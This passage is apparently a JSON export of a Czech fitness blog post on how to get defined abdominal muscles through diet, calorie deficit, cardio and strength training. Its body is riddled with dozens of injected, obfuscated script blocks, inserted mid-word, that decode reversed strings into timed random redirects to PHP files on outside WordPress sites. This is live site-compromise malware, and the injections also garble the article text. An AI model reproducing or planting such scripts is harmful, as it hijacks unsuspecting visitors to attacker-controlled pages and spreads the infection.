(number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tak jednoduch\u00e9 nen\u00ed!<\/p>\n<p>M\u00e1te i vy n\u011bjak\u00e9 osv\u011bd\u010den\u00e9 tipy na cviky, kter\u00e9 v\u00e1m dopomohly k\u00a0dokonal\u00e9 postav\u011b?<\/p>\n<h2>Cvi\u010dte s rozmyslem!<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-315 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/skok-205x300.jpg\" alt=\"\" width=\"181\" height=\"265\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/skok-205x300.jpg 205w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/skok-768x1125.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/skok-699x1024.jpg 699w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/skok.jpg 800w\" sizes=\"auto, (max-width: 181px) 100vw, 181px\" \/>Ono se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to asi nezd\u00e1 \u2013 ale t\u00edm, \u017ee budete cvi\u010dit s\u00a0men\u0161\u00ed z\u00e1t\u011b\u017e\u00ed, dos\u00e1hnete opravdu kvalitn\u00edch v\u00fdsledk\u016f! Hubnouc\u00ed tr\u00e9nink mus\u00ed trvat minim\u00e1ln\u011b hodinu a p\u016fl. Redukce tuk\u016f (nejenom) na b\u0159i\u0161e dos\u00e1hnete vhodn\u011b zvolenou kombinac\u00ed KARDIO cvi\u010den\u00ed a silov\u00e9ho tr\u00e9ninku.<\/p>\n<p>M\u016f\u017eete si vyrazit na kolo, zaplavat \u010di si vy\u0161l\u00e1pnout na t\u00faru. Zejm\u00e9na p\u0159i d\u00e9le trvaj\u00edc\u00edch vytrvalostn\u00edch aktivit\u00e1ch bude t\u011blo jako zdroj energie v\u00edce vyu\u017e\u00edvat tuk. Zkuste si nastavit re\u017eim cvi\u010den\u00ed 2+2 nebo 2+1 (2 dny silov\u00fd tr\u00e9nink, 2 dny nebo 1 den kardio).<\/p>\n<h2>Kdy za\u010d\u00edn\u00e1m spalovat tuky?<\/h2>\n<p>Na\u0161e t\u011blo nejv\u00edce spaluje tuky p\u0159i 60\u201370 % maxim\u00e1ln\u00ed tepov\u00e9 frekvence. Pr\u00e1v\u011b v\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to f\u00e1zi je cvi\u010den\u00ed nejefektivn\u011bj\u0161\u00ed. Orienta\u010dn\u011b se z\u00f3na spalov\u00e1n\u00ed tuk\u016f vypo\u010dte tak, \u017ee \u017eeny ode\u010d<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou sv\u016fj v\u011bk od \u010d\u00edsla 210 a mu\u017ei od \u010d\u00edsla 220.<\/p>\n<p>A te\u010f u\u017e jen t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znalosti vyu\u017e\u00edt p\u0159i cvi\u010den\u00ed. P\u0159ekvap\u00ed v\u00e1s, jak efektivn\u00ed v\u00e1\u0161 tr\u00e9nink bude, pokud se nad t\u00edm<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bodem zamysl\u00edte.<\/p>\n<h2>Pozor na zpomalen\u00ed metabolismu!<\/h2>\n<p>P\u0159i d\u00e9le trvaj\u00edc\u00ed snaze o odbour\u00e1v\u00e1n\u00ed tuk\u016f doch\u00e1z\u00ed ke zpomalen\u00ed metabolismu. \u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to si pak lid\u00e9 l\u00e1mou hlavu, pro\u010d p\u0159estali hubnout \u2013 ov\u0161em, za v\u0161\u00edm hledejme metabolismus. Jak tedy z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho za\u010darovan\u00e9ho kruhu ven? Jezte hodn\u011b b\u00edlkovin, ty metabolick\u00e9 procesy op\u011bt urychl\u00ed a vy se dostanete do reduk\u010dn\u00ed a posl\u00e9ze r\u00fdsovac\u00ed f\u00e1ze. Vsa\u010fte t\u0159eba na <strong><a href=\"https:\/\/eshop.alfafit.cz\/cz-kategorie_56427-0-proteinove-produkty.html\">proteiny<\/a> <\/strong>od Nutrendu. Za skv\u011bl\u00e9 pen\u00edze se v\u00e1m dostane p\u0159\u00edsunu kvalitn\u00edch b\u00edlkovin.<\/p>\n<h2>Kam vyrazit m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to posilovny?<\/h2>\n<p>Ono se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to asi nezd\u00e1, ale kdy\u017e u\u017e budete m\u00edt posilovny po krk, zkuste vyrazit na n\u00e1kupy, zadov\u00e1d\u011bjte si na koncert\u011b nebo ukli\u010fte cel\u00fd d\u016fm. Sp\u00e1l\u00edte v\u00edce energie, ne\u017e si mysl\u00edte!<\/p>\n<h2>Co je va\u0161\u00edm c\u00edlem \u2013 buchty nebo ploch\u00e9 b\u0159icho?<\/h2>\n<p>Pokud p\u0159i cest\u011b k\u00a0ploch\u00e9mu b\u0159ichu nechcete nabrat moc svalov\u00e9 hmoty, pou\u017e\u00edvejte p\u0159i silov\u00e9m tr\u00e9ninku men\u0161\u00ed z\u00e1t\u011b\u017e, v\u00edce opakov\u00e1n\u00ed a m\u00e9n\u011b s\u00e9ri\u00ed. Kdy\u017e <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u017e\u00edte po vyr\u00fdsovan\u00fdch b\u0159i\u0161n\u00edch svalech, d\u011blejte p\u0159esn\u00fd opak. A hlavn\u011b \u2013 nevd\u00e1vejte <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to! U\u017e po m\u011bs\u00edci uvid\u00edte prvn\u00ed v\u00fdsledky. Na v\u00e1ze <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to moc vid\u011bt nebude, ale vizu\u00e1ln\u011b budete m\u00edt d\u016fvod k radosti! No a te\u010f u\u017e je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jenom na v\u00e1s!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jak vyr\u00fdsovat b\u0159i\u0161n\u00ed svaly? M\u00e1me pro v\u00e1s p\u00e1r tip\u016f. Vyr\u00fdsovan\u00e9 b\u0159icho a dokonal\u00fd \u201eV\u201c tvar trupu &#8211; po tom tou\u017e\u00ed ka\u017ed\u00fd. Ale jak toho skute\u010dn\u011b dos\u00e1hnout? To a mnohem v\u00edce se dozv\u00edte v\u00a0na\u0161em \u010dl\u00e1nku. Kdo by necht\u011bl po\u0159\u00e1dn\u00e9 b\u0159ich\u00e1\u010de \u2013 je za t\u00edm ale v\u00e1\u017en\u011b spousta d\u0159iny. Neznamen\u00e1 to toti\u017e, \u017ee kdy\u017e budete cvi\u010dit sklapova\u010dky, tr\u00e9novat ka\u017ed\u00fd den a dopovat se suplementy, z\u00e1konit\u011b dos\u00e1hnete c\u00edle. Naopak \u2013 jen cviky na b\u0159icho v\u00a0tomto p\u0159\u00edpad\u011b nepomohou! Svaly se sice zpevn\u00ed, ale st\u00e1le budou schovan\u00e9 pod tukovou vrstvou. A pr\u00e1v\u011b t\u00e9 je pot\u0159eba se zbavit. Cesta k\u00a0ploch\u00e9mu b\u0159ichu vede p\u0159es trp\u011blivost, pevnou v\u016fli a dodr\u017eov\u00e1n\u00ed n\u011bkolika z\u00e1kladn\u00edch pravidel. Zn\u00e1te je? Vsa\u010fte na zdravou stravu a kalorick\u00fd deficit. Ono se to nezd\u00e1 \u2013 ale jinak nem\u00e1te \u0161anci usp\u011bt. Jestli to mysl\u00edte s\u00a0ploch\u00fdm b\u0159ichem opravdu v\u00e1\u017en\u011b, za\u010dn\u011bte j\u00edst zdrav\u011b (vsa\u010fte na zeleninu, b\u00edl\u00e9 maso \u010di pravideln\u00fd p\u0159\u00edjem vl\u00e1kniny). Sna\u017ete se ve strav\u011b p\u0159ij\u00edmat takt\u00e9\u017e komplexn\u00ed sacharidy a zdrav\u00e9 tuky. Dbejte p\u0159edev\u0161\u00edm na dostatek b\u00edlkovin, t\u0159eba za pomoci proteinov\u00fdch suplement\u016f. Dok\u00e1\u017eou skv\u011ble zasytit na del\u0161\u00ed dobu. Stejn\u011b tak udr\u017e\u00ed zrychlen\u00fd metabolismus. D\u00e1le plat\u00ed, \u017ee pokud chcete odbour\u00e1vat tuky, mus\u00edte b\u00fdt v\u00a0kalorick\u00e9m deficitu \u2013 tzn. m\u00edt vy\u0161\u0161\u00ed v\u00fddej energie ne\u017e p\u0159\u00edjem. Jen tak p\u016fjde tuk (ne)jen na b\u0159i\u0161e dol\u016f. A pokud bude t\u0159eba, zkuste spalova\u010de tuk\u016f. Ty od Nutrendu nebo Extrifitu pat\u0159\u00ed mezi st\u00e1lice na trhu. Vyplat\u00ed se je vyzkou\u0161et, pokud samotn\u00e1 strava a kalorick\u00fd deficit nezab\u00edraj\u00ed. Cvi\u010dte cel\u00e9 t\u011blo \u2013 d\u016fkladn\u011b Cviky na b\u0159icho samy o sob\u011b nepomohou. To u\u017e jsme si vysv\u011btlili v\u00a0p\u0159edchoz\u00edch odstavc\u00edch. Ono je toti\u017e z\u00e1sadn\u00ed soust\u0159edit se na cel\u00e9 t\u011blo \u2013 postupn\u011b srazit tuky na minimum ve v\u0161ech parti\u00edch. Neexistuje zp\u016fsob, jak se zbavit tuku pouze na b\u0159i\u0161e. Jedin\u00e1 cesta vede p\u0159es komplexn\u00ed cvi\u010den\u00ed \u2013 zam\u011b\u0159it se mus\u00edte na cel\u00e9 t\u011blo a tomu p\u0159izp\u016fsobit sv\u016fj cvi\u010debn\u00ed pl\u00e1n. Zapojte v\u0161echny svaly! A pamatujte, \u017ee \u00fabytek tukov\u00e9 vrstvy na b\u0159i\u0161e je siln\u011b ovlivn\u011bn\u00fd genetikou. Bez trp\u011blivosti to nep\u016fjde! Jak\u00e9 cviky na b\u0159icho za\u0159adit? \u0158ada lid\u00ed pova\u017euje za nejlep\u0161\u00ed cvik na b\u0159icho SED-LEH. V\u00a0praxi ov\u0161em takov\u00fdm favoritem nen\u00ed. A\u010d je \u010dasto mezi sportovci sou\u010d\u00e1st\u00ed v\u00fdzev, vyhn\u011bte se mu obloukem, pokud to mysl\u00edte s\u00a0b\u0159i\u0161\u00e1ky v\u00e1\u017en\u011b. J\u00e1 doporu\u010duji nap\u0159. PLANK (zn\u00e1m\u00fd t\u00e9\u017e jako \u201eprkno\u201c) &#8211; na pohled velmi jednoduch\u00fd cvik na b\u0159icho a boky. Ov\u0161em, kdo ho zkusil, jist\u011b potvrd\u00ed, \u017ee to tak jednoduch\u00e9 nen\u00ed! M\u00e1te i vy n\u011bjak\u00e9 osv\u011bd\u010den\u00e9 tipy na cviky, kter\u00e9 v\u00e1m dopomohly k\u00a0dokonal\u00e9 postav\u011b? Cvi\u010dte s rozmyslem! Ono se to asi nezd\u00e1 \u2013 ale t\u00edm, \u017ee budete cvi\u010dit s\u00a0men\u0161\u00ed z\u00e1t\u011b\u017e\u00ed, dos\u00e1hnete opravdu kvalitn\u00edch v\u00fdsledk\u016f! Hubnouc\u00ed tr\u00e9nink mus\u00ed trvat minim\u00e1ln\u011b hodinu a p\u016fl. Redukce tuk\u016f (nejenom) na b\u0159i\u0161e dos\u00e1hnete vhodn\u011b zvolenou kombinac\u00ed KARDIO cvi\u010den\u00ed a silov\u00e9ho tr\u00e9ninku. M\u016f\u017eete si vyrazit na kolo, zaplavat \u010di si vy\u0161l\u00e1pnout na t\u00faru. Zejm\u00e9na p\u0159i d\u00e9le trvaj\u00edc\u00edch vytrvalostn\u00edch aktivit\u00e1ch bude t\u011blo jako zdroj energie v\u00edce vyu\u017e\u00edvat tuk. Zkuste si nastavit re\u017eim cvi\u010den\u00ed 2+2 nebo 2+1 (2 dny silov\u00fd tr\u00e9nink, 2 dny nebo 1 den kardio). Kdy za\u010d\u00edn\u00e1m spalovat tuky? Na\u0161e t\u011blo nejv\u00edce spaluje tuky p\u0159i 60\u201370 % maxim\u00e1ln\u00ed 